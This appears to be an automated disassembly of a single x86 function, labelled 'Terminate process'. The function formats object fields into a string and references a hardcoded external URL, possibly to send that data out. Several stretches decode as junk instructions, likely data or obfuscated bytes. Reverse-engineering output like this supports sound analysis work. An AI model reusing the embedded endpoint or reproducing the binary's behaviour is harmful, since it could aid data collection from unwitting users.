Function at 0x4100a0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5e0171
mov eax, dword fs:[0]
push eax
mov eax, 0x18b8
call fcn.00470830
mov eax, dword [0x678390]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x18c4], esi
mov edi, dword [ebp + 8]
call fcn.00453765
test al, al
je 0x410105
invalid
push 0x104
lea eax, [ebp - 0x114]
push 0
push eax
call fcn.00483520
lea eax, [ebp - 0x114]
push eax
push edi
call fcn.00458f01
push 0xbb8
lea eax, [ebp - 0x1884]
push 0
push eax
call fcn.00483520
lea edx, [esi + 0x40]
add esp, 0x20
cmp dword [edx + 0x14], 0x10
jb 0x410146
mov edx, dword [edx]
cmp dword [esi + 0x9c], 0x10
lea eax, [esi + 0x88]
jb 0x410157
mov eax, dword [eax]
cmp dword [esi + 0x84], 0x10
lea ecx, [esi + 0x70]
jb 0x410165
mov ecx, dword [ecx]
add esi, 0x28
cmp dword [esi + 0x14], 0x10
jb 0x410170
mov esi, dword [esi]
lea edi, [ebp - 0x114]
push edi
push edx
push eax
push ecx
push esi
lea eax, [ebp - 0x1884]
push str._s_t_s_t_s_t_s_t_s
push eax
call fcn.00408a80
push 0xbb8
lea eax, [ebp - 0xccc]
push 0
push eax
call fcn.00483520
add esp, 0x28
mov dword [ebp - 0x18bc], 0xbb8
cmp byte [ebp - 0x1884], 0
mov dword [ebp - 0x18c0], 0xbb8
mov dword [ebp - 0x1888], 0xf
mov dword [ebp - 0x188c], 0
mov byte [ebp - 0x189c], 0
jne 0x4101de
xor ecx, ecx
jmp 0x4101f0
lea ecx, [ebp - 0x1884]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4101e7
sub ecx, edx
push ecx
lea eax, [ebp - 0x1884]
push eax
lea ecx, [ebp - 0x189c]
call fcn.00402970
cmp dword [ebp - 0x1888], 0x10
lea ecx, [ebp - 0x18c0]
push ecx
lea ecx, [ebp - 0xccc]
mov dword [ebp - 4], 0
push ecx
push dword [ebp - 0x188c]
lea eax, [ebp - 0x189c]
cmovae eax, dword [ebp - 0x189c]
push eax
call fcn.00478725
add esp, 0x10
call fcn.00453cc9
test dword [edi - 1], esp
call dword [eax - 0x18]
in eax, dx
test byte [esi], al
add byte [ebx - 0x7617ef3c], al
cmp al, byte [eax + eax]
test al, al
je 0x410257
push 0x1c
invalid
call fcn.00453c3f
test al, al
je 0x41027b
fiadd word [edx + 5]
push ebx
pushal
and byte [ecx], cl
jle 0x4102a7
and esp, edx
daa
daa
push eax
adc al, 0xe9
xlatb
imul eax, dword [ecx], 0x5e
mov cl, 0x15
cmp cl, dl
cmpsd dword [esi], dword es:[edi]
call fcn.00453bfa
test al, al
je 0x41029d
jb 0x41022d
push edx
iretd
mov ecx, dword [ebp - 0x18c4]
lea eax, [ebp - 0x18bc]
push eax
lea eax, [ebp - 0xccc]
push eax
call int.0040e090
cmp byte [ebp - 0xccc], 0
jne 0x4102c3
invalid
xor ecx, ecx
jmp 0x4102d9
lea ecx, [ebp - 0xccc]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4102d0
sub ecx, edx
push ecx
lea eax, [ebp - 0xccc]
push eax
lea ecx, [ebp - 0x189c]
call fcn.00402970
push dword [ebp - 0x18bc]
lea eax, [ebp - 0xccc]
push 0
push eax
call fcn.00483520
cmp dword [ebp - 0x1888], 0x10
lea ecx, [ebp - 0x18bc]
push ecx
lea ecx, [ebp - 0xccc]
push ecx
push dword [ebp - 0x188c]
lea eax, [ebp - 0x189c]
cmovae eax, dword [ebp - 0x189c]
push eax
call fcn.00478725
add esp, 0x1c
call fcn.00453cc9
test al, al
je 0x410355
or esp, dword [ebx + 0x40]
xchg ecx, eax
dec esp
les ebx, [ebx]
and edi, dword [ebp + 0x676f0fa9]
or dword [eax + 0x5a], edx
bound eax, qword [edx]
push ecx
lock and ebx, dword [eax]
or byte [edi], 0xbe
int3
lea ecx, [ebp - 0x18b5]
call fcn.0041dea0
lea eax, [ebp - 0xccc]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x18b5]
call fcn.00478f14
call fcn.00453720
test al, al
je 0x41039f
invalid
aaa
lds ecx, [ebp + 0x7c]
jp 0x4103f5
adc ecx, dword [ebx - 0x19]
enter 0xffffffffffffa8b7, 0xffffffffffffffc5
mov dl, 0x60
mov bl, ch
into
jecxz 0x410364
adc al, 0xa4
ror dword [edi], 1
dec eax
invalid
call fcn.00453bb5
test al, al
je 0x4103c4
mov eax, dword [0xebc96f0e]
ljmp 0x5793
push 0x45
push str.https:__tjtv3.wn51.com__6075501ae571c05a6ce52cd64d90e1124e439b5ac5
lea ecx, [ebp - 0x18b4]
mov dword [ebp - 0x18a0], 0xf
mov dword [ebp - 0x18a4], 0
mov byte [ebp - 0x18b4], 0
call fcn.00402970
cmp byte [ebp - 0xccc], 0
mov byte [ebp - 4], 2
jne 0x410402
invalid
xor ecx, ecx
jmp 0x410419
lea ecx, [ebp - 0xccc]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410410
sub ecx, edx
push ecx
lea eax, [ebp - 0xccc]
push eax
lea ecx, [ebp - 0x18b4]
call fcn.004061d0
cmp dword [ebp - 0x18a0], 0x10
lea eax, [ebp - 0x18b4]
cmovae eax, dword [ebp - 0x18b4]
push eax
call fcn.00476f75
add esp, 4
call fcn.00453834
test al, al
je 0x410463
pop ebp
add edi, ebp
dec esi
mov esp, dword [ebx*4 - 0x49a2d43]
aaa
stosb byte es:[edi], al
lodsb al, byte fs:[esi]
cli
call fcn.004537aa
test al, al
je 0x410482
hlt
mov eax, dword [ebp - 0x18a0]
cmp eax, 0x10
jb 0x4104a0
inc eax
lea ecx, [ebp - 0x18b4]
push eax
push dword [ebp - 0x18b4]
call fcn.00402c90
lea ecx, [ebp - 0x18b5]
mov dword [ebp - 0x18a0], 0xf
mov dword [ebp - 0x18a4], 0
mov byte [ebp - 0x18b4], 0
call fcn.00479050
mov eax, dword [ebp - 0x1888]
cmp eax, 0x10
jb 0x4104e4
inc eax
lea ecx, [ebp - 0x189c]
push eax
push dword [ebp - 0x189c]
call fcn.00402c90
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0047070c
mov esp, ebp
pop ebp
ret 4